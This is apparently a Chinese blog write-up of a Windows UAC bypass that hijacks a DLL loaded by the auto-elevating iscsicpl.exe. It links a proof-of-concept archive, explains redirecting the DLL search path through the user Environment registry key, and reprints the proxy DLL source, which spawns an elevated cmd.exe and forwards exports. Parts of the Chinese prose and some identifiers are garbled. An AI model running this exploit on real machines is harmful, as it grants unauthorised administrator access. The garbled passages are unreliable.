发布于2022年10月21日3年前 正文 lnk:https://www.ddosi.org/iscsicpl-bypassuac/ poc:https ://github.com/hackerhouse-opensource/iscsicpl_bypassUAC/archive/refs/heads/main.zip c:\Windows64\iscsicpl.exe和iscsiexe.dll.dll和iscsiexe.dll_org sigcheck检测,autoElevate为true。权限进程自提升 看代码看代码,最后修改了翻H的按钮ENTRR_USER\Environ,最后是当前用户的目录。 看到这个路径的关键路径和环境变量的路径,修改该键的路径是直接修改该键的作者环境变量路径最后一个路径\EnvironE5H替代路径ENT参考链接:https://www.baidu.com/item/%E7%8E%AF%E5%A2%83%%8F%98%E9%87% 8F/1730949(当然也可以直接修改windir环境变量,然后dll丢到目录) 重复说一下DLL加载顺序 直接加载iscel,会外部报告来自siscexetablishiscsiexe_org.dll的SvchostPServiceGlobals、ServiceMain、DiscpServiceLinkage导出函数。 github上poc代码(DLL外部函数转向的dll代码) // iscsiexe.cpp, the payload DLL executed by iscsicpl.exe #include "pch.h" #include <windows.h> #include <stdio.h> #include <tchar.h> #include "resource.h" #pragma pack(1) // LoadString() for linker #pragma comment(lib,"User32.lib") #define MAX_ENV_SIZE 32767 BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { static HINSTANCE hL; LPWSTR pCMD = new WCHAR[MAX_ENV_SIZE]; char pACMD[MAX_ENV_SIZE]; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("C:\\Windows\\System32\\cmd.exe", SW_SHOW); //hL = LoadLibrary(_T(".\\iscsiexe_org.dll")); /* if (!hL) return false; // execute the command string from the module resource section LoadString(GetModuleHandle(L"iscsiexe.dll"), IDS_CMD101, pCMD, MAX_ENV_SIZE); WideCharToMultiByte(CP_ACP, 0, pCMD, wcslen(pCMD), pACMD, MAX_ENV_SIZE, NULL, NULL); WinExec(pACMD, SW_SHOW); */ break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: FreeLibrary(hL); break; } return TRUE; } // the proxy DLL mappings for the linker #pragma comment(linker, "/export:SvchostPushServiceGlobals=iscsiexe_org.SvchostPushServiceGlobals") #pragma comment(linker, "/export:ServiceMain=iscsiexe_org.ServiceMain") #pragma comment(linker, "/export:DiscpEstablishServiceLinkage=iscsiexe_org.DiscpEstablishServiceLinkage") 原作者iscsiexe_org.dll生成过程(搞的和他妈自解压马一样,醉了) * 利用FindResource函数搜索当前进程搜索DLL资源,寻找102资源获取句柄 * LoadResource搜索对应资源获取句柄 * SizeofResource检索指定资源的大小 * LockResource检索指向内存中指定资源的指针 * 然后遍历对应DLL资源,改名为 iscsiexe_org.dll VT查杀: https://www.virustotal.com/gui/file/60004318d9a509e5bad2bda71dd11bcc0304dabe17b30a85366a73ad532aae80一看,dll可能是这里下的: https ://www.dll-files.com/iscsiexe.dll.html win7测试 win10测试
创建帐户或登录后发表意见